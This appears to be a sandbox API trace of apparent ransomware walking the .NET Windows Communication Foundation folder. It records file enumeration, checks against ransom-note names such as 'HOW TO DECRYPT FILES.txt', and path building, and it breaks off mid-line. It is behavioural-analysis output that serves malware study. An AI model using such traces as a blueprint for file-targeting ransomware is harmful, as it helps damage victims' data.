FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d4ff1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c2fb6a0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c2fb6a0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x79f, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="SMSvcHost.exe.config", cAlternateFileName="SMSVCH~1.CON")) returned 1 [0136.845] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.845] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SMSvcHost.exe.config") returned -1 [0136.845] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SMSvcHost.exe.config") returned -1 [0136.845] lstrcmpiA (lpString1="", lpString2="SMSvcHost.exe.config") returned -1 [0136.845] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\SMSvcHost.exe") returned="SMSvcHost.exe" [0136.845] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.845] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.847] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9b8aaf0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9b8aaf0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9bb0c51, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xed000, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1 [0136.847] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.847] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.Serialization.dll") returned -1 [0136.848] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.Serialization.dll") returned -1 [0136.848] lstrcmpiA (lpString1="", lpString2="System.Runtime.Serialization.dll") returned -1 [0136.848] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\SMSvcHost.exe.config") returned="SMSvcHost.exe.config" [0136.848] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.848] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.848] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d078b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d078b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d79cd4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b6000, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1 [0136.848] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.848] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.dll") returned -1 [0136.848] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.dll") returned -1 [0136.848] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.dll") returned -1 [0136.848] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\System.Runtime.Serialization.dll") returned="System.Runtime.Serialization.dll" [0136.848] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.848] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.849] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d9fe34, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d9fe34, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="System.ServiceModel.Install.dll", cAlternateFileName="")) returned 1 [0136.849] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.849] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.Install.dll") returned -1 [0136.849] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Install.dll") returned -1 [0136.849] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Install.dll") returned -1 [0136.849] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\System.ServiceModel.dll") returned="System.ServiceModel.dll" [0136.849] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.849] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.850] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9c95492, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9c95492, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9c95492, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="System.ServiceModel.WasHosting.dll", cAlternateFileName="")) returned 1 [0136.850] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.850] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.WasHosting.dll") returned -1 [0136.850] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.WasHosting.dll") returned -1 [0136.850] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.WasHosting.dll") returned -1 [0136.850] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\System.ServiceModel.Install.dll") returned="System.ServiceModel.Install.dll" [0136.850] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.850] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.851] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9b8aaf0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9b8aaf0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9b8aaf0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x24750, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="WsatConfig.exe", cAlternateFileName="")) returned 1 [0136.851] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.851] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WsatConfig.exe") returned -1 [0136.851] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WsatConfig.exe") returned -1 [0136.851] lstrcmpiA (lpString1="", lpString2="WsatConfig.exe") returned -1 [0136.851] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\System.ServiceModel.WasHosting.dll") returned="System.ServiceModel.WasHosting.dll" [0136.851] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.851] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.851] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c0a1c8f, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x1c0a1c8f, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x5df134bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x12d1, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="_ServiceModelEndpointPerfCounters.reg", cAlternateFileName="")) returned 1 [0136.851] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.851] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="_ServiceModelEndpointPerfCounters.reg") returned 1 [0136.851] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="_ServiceModelEndpointPerfCounters.reg") returned 1 [0136.852] lstrcmpiA (lpString1="", lpString2="_ServiceModelEndpointPerfCounters.reg") returned -1 [0136.852] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\WsatConfig.exe") returned="WsatConfig.exe" [0136.852] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.852] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.852] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d4ff1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c2fb6a0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c2fb6a0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="_ServiceModelEndpointPerfCounters.vrg", cAlternateFileName="_SERVI~2.VRG")) returned 1 [0136.852] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.852] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="_ServiceModelEndpointPerfCounters.vrg") returned 1 [0136.852] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="_ServiceModelEndpointPerfCounters.vrg") returned 1 [0136.852] lstrcmpiA (lpString1="", lpString2="_ServiceModelEndpointPerfCounters.vrg") returned -1 [0136.852] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\_ServiceModelEndpointPerfCounters.reg") returned="_ServiceModelEndpointPerfCounters.reg" [0136.852] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.852] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.853] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c56486f, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x1c56486f, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x5eefe7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="_ServiceModelOperationPerfCounters.reg", cAlternateFileName="")) returned 1 [0136.853] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.853] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="_ServiceModelOperationPerfCounters.reg") returned 1 [0136.853] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="_ServiceModelOperationPerfCounters.reg") returned 1 [0136.853] lstrcmpiA (lpString1="", lpString2="_ServiceModelOperationPerfCounters.reg") returned -1 [0136.853] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\_ServiceModelEndpointPerfCounters.vrg") returned="_ServiceModelEndpointPerfCounters.vrg" [0136.853] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.853] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.853] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d4ff1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c2fb6a0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c2fb6a0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xe17, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="_ServiceModelOperationPerfCounters.vrg", cAlternateFileName="_SERVI~1.VRG")) returned 1 [0136.853] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.853] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="_ServiceModelOperationPerfCounters.vrg") returned 1 [0136.853] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="_ServiceModelOperationPerfCounters.vrg") returned 1 [0136.853] lstrcmpiA (lpString1="", lpString2="_ServiceModelOperationPerfCounters.vrg") returned -1 [0136.853] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\_ServiceModelOperationPerfCounters.reg") returned="_ServiceModelOperationPerfCounters.reg" [0136.853] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.853] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.854] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ca9986c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x1ca9986c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x5f648b3c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2045, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="_ServiceModelServicePerfCounters.reg", cAlternateFileName="")) returned 1 [0136.854] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.854] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="_ServiceModelServicePerfCounters.reg") returned 1 [0136.854] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="_ServiceModelServicePerfCounters.reg") returned 1 [0136.854] lstrcmpiA (lpString1="", lpString2="_ServiceModelServicePerfCounters.reg") returned -1 [0136.854] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\_ServiceModelOperationPerfCounters.vrg") returned="_ServiceModelOperationPerfCounters.vrg" [0136.854] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.854] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.854] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811fb151, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c321800, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c321800, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x2043, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="_ServiceModelServicePerfCounters.vrg", cAlternateFileName="_SERVI~3.VRG")) returned 1 [0136.854] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.854] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="_ServiceModelServicePerfCounters.vrg") returned 1 [0136.855] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="_ServiceModelServicePerfCounters.vrg") returned 1 [0136.855] lstrcmpiA (lpString1="", lpString2="_ServiceModelServicePerfCounters.vrg") returned -1 [0136.855] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\_ServiceModelServicePerfCounters.reg") returned="_ServiceModelServicePerfCounters.reg" [0136.855] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.855] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.855] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cfce869, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x1cfce869, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x5f811bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xec3, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="_SMSvcHostPerfCounters.reg", cAlternateFileName="")) returned 1 [0136.855] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.855] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="_SMSvcHostPerfCounters.reg") returned 1 [0136.855] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="_SMSvcHostPerfCounters.reg") returned 1 [0136.855] lstrcmpiA (lpString1="", lpString2="_SMSvcHostPerfCounters.reg") returned -1 [0136.855] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\_ServiceModelServicePerfCounters.vrg") returned="_ServiceModelServicePerfCounters.vrg" [0136.855] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.855] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.856] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d4ff1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c2fb6a0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c2fb6a0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xec1, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="_SMSvcHostPerfCounters.vrg", cAlternateFileName="_SMSVC~1.VRG")) returned 1 [0136.856] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.856] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="_SMSvcHostPerfCounters.vrg") returned 1 [0136.856] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="_SMSvcHostPerfCounters.vrg") returned 1 [0136.856] lstrcmpiA (lpString1="", lpString2="_SMSvcHostPerfCounters.vrg") returned -1 [0136.856] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\_SMSvcHostPerfCounters.reg") returned="_SMSvcHostPerfCounters.reg" [0136.856] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.856] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.856] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d60e1ff, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x1d60e1ff, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x60d5805c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xccb, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="_TransactionBridgePerfCounters.reg", cAlternateFileName="")) returned 1 [0136.856] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.856] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="_TransactionBridgePerfCounters.reg") returned 1 [0136.856] lstrcmpiA (lpString1="HOW TO DECRYPT 